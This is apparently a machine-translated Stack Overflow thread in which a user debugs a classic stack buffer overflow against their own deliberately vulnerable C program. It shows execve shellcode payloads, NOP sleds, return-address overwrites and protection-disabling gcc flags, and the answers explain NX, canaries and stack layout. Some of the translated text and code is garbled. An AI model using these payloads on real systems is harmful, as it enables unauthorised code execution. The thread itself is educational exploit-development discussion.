为什么我的堆栈缓冲区溢出漏洞无效?

时间:2016-09-27 19:14:19

标签: python c stack-overflow buffer-overflow

所以我有一个非常简单的stackoverflow:

#include <stdio.h>

int main(int argc, char *argv[]) {

    char buf[256];
    memcpy(buf, argv[1],strlen(argv[1]));
    printf(buf);

}

我试图使用此代码溢出:

$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")

当我溢出堆栈时,我成功用我想要的地址覆盖EIP但是没有任何反应。它没有执行我的shellcode。

有没有人看到这个问题?注意:我的python可能是错误的。

更新

我不明白的是我的代码没有执行的原因。例如,如果我将eip指向nops,那么nops永远不会被执行。像这样,

$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")

更新

有人可以在Linux上自己利用这种溢出  x86并发布结果?

更新

没关系,我开始工作了。谢谢你的帮助。

更新

嗯,我以为我做到了。我确实得到了一个外壳,但现在我再次尝试,我遇到了问题。

我正在做的就是在开始时溢出堆栈并指向我的shellcode。

像这样,

r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')

这应该指向A&#39。现在我不明白为什么我的地址最后在gdb中被改变了。

这就是gdb给我的,

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()

\ xcc变为\ xcd。这可能与我用gdb得到的错误有关吗?

当我用&#34; B&#34;#填充该地址时,它可以使用\ x42 \ x42 \ x42 \ x42解决。那是什么给出了什么?

任何帮助都将不胜感激。

另外,我正在使用以下选项进行编译:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c

这真的很奇怪,因为除了我需要的地址外,任何其他地址都有效。

更新

我可以在gdb中成功生成带有以下内容的shell,

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

但我不明白为什么它有时会起作用,而其他时候却不起作用。有时我的覆盖eip会被gdb更改。有谁知道我错过了什么?此外,我只能在gdb中spwan一个shell而不是正常的进程。最重要的是,我似乎只能在gdb中启动一次shell,然后gdb停止工作。

例如,现在当我运行以下内容时,我在gdb中得到了这个...

Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()

这似乎是由execstack打开造成的。

更新

是的,出于某种原因,我得到了不同的结果,但这个漏洞现在正在发挥作用。谢谢大家的帮助。如果有人能够解释我上面收到的结果,我会全力以赴。感谢。

3 个答案:

答案 0 :(得分:2)

有几种保护措施,因为攻击直接来自于 编译器。例如,您的堆栈可能无法执行。

readelf -l <filename>

如果您的输出包含以下内容:

GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

这意味着你只能在堆栈上读写(所以你应该&#34;返回libc&#34;来生成你的shell)。

也可能有一个金丝雀保护,这意味着你的变量和指令指针之间有一部分内存,它包含一个检查完整性的短语,如果它被你的字符串覆盖,程序将退出。

如果您在自己的程序中尝试这个,请考虑使用gcc命令删除一些保护:

gcc -z execstack

还有关于程序集的注释,通常在shell代码之前包含nops,因此您不必定位shell代码启动的确切地址。

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

请注意,应放在指令指针内的地址中 你可以修改最后的十六进制数字,指向你的nops内部而不是 必须在缓冲区的开头。

当然,如果您正在尝试某些事情,gdb应成为您最好的朋友 像那样。

希望这有帮助。

答案 1 :(得分:0)

这不会像[书面说明的那样]工作得太好。但是, 是可能的,所以请继续阅读......

有助于了解调用main函数时实际的堆栈布局。它比大多数人意识到的要复杂得多。

假设有一个POSIX OS(例如linux),内核会将堆栈指针设置为固定的地址。

内核执行以下操作:

它计算环境变量字符串需要多少空间(即strlen("HOME=/home/me") + 1用于所有环境变量,并且&#34;将这些字符串按向下[朝向较低内存]方向推入堆栈。然后它计算出有多少(例如envcount)并在堆栈上创建char *envp[envcount + 1]并使用指向给定字符串的指针填充envp值。它将终止此{{1} }}

envp字符串进行了类似的处理。

然后,内核加载ELF解释器。内核使用ELF解释器的起始地址启动进程。 ELF解释器[最终]调用&#34; start&#34;函数(例如来自argv的{​​{1}})执行某些初始化,然后调用_start

这是[某种]调用crt0.o时堆栈的样子:

main(argc,argv,envp)

main上,"HOME=/home/me" "LOGNAME=me" "SHELL=/bin/sh" // alignment pad ... char *envp[4] = { // address of "HOME" string // address of "LOGNAME" string // address of "SHELL" string NULL }; // string for argv[0] ... // string for argv[1] ... // ... char *argv[] = { // pointer to argument string 0 // pointer to argument string 1 // pointer to argument string 2 NULL } // possibly more stuff put in by ELF interpreter ... // possibly more stuff put in by _start function ... x86argc指针值放入argv ABI的前三个参数寄存器中。< / p>

这里的问题是[问题,复数,实际上] ......

当这一切完成时,你几乎不知道shell代码的地址是什么。因此,您编写的任何代码都必须是RIP相对寻址,并且[可能]使用envp构建。

并且,结果代码中间不能有零字节,因为[由内核]将其作为EOS终止字符串传送。因此,一个零(例如x86)的字符串只会传输前三个字节而整个shell代码程序。

你也不知道堆栈指针的值是什么。

此外,你需要中找到 其中的返回地址的内存字(即这就是启动函数&#39; s {{ 1}} asm指令推送。

包含返回地址的单词必须设置为shell代码的地址。但是,它并不总是具有相对于-fPIC堆栈帧变量的固定偏移量(例如<byte0>,<byte1>,<byte2>,0x00,<byte5>,<byte6>,...)。因此,您无法预测堆栈中要修改的单词以获得&#34;返回shellcode&#34;效果。

此外,在call main架构上,还有一些特殊的缓解硬件。例如,页面可以标记为main [无执行]。这通常针对某些段(例如堆栈)完成。如果RIP更改为指向堆栈,则硬件将发生故障。

这是[简单]解决方案......

buf有一些内在功能可以提供帮助:x86NX

因此,从内在函数[get this gcc]中获取实际返回地址的值。获取堆栈帧的地址[调用此__builtin_return_address]。

__builtin_frame_address开始并向(更高retadr)递增到更高的内存,找到与fp匹配的单词。此内存位置是您要修改以指向shell代码的位置。它可能是偏移0或8

那么,然后执行:fp并返回。

注意,可能需要额外的步骤,因为如果堆栈设置了sizeof(void*)位,retadr指向的字符串就在堆栈中,如上所述。

以下是一些有效的示例代码:

*fp = argv[1]

答案 2 :(得分:0)

尝试执行堆栈缓冲区溢出时遇到了类似的问题。我发现我在GDB中的返回地址与正常流程中的返回地址不同。我所做的是添加以下内容:

unsigned long printesp(void){
    __asm__("movl %esp,%eax");
}

Return之前的主右边结束时调用它来了解堆栈的位置。从那里我刚刚玩了这个值从打印的ESP减去4直到它工作。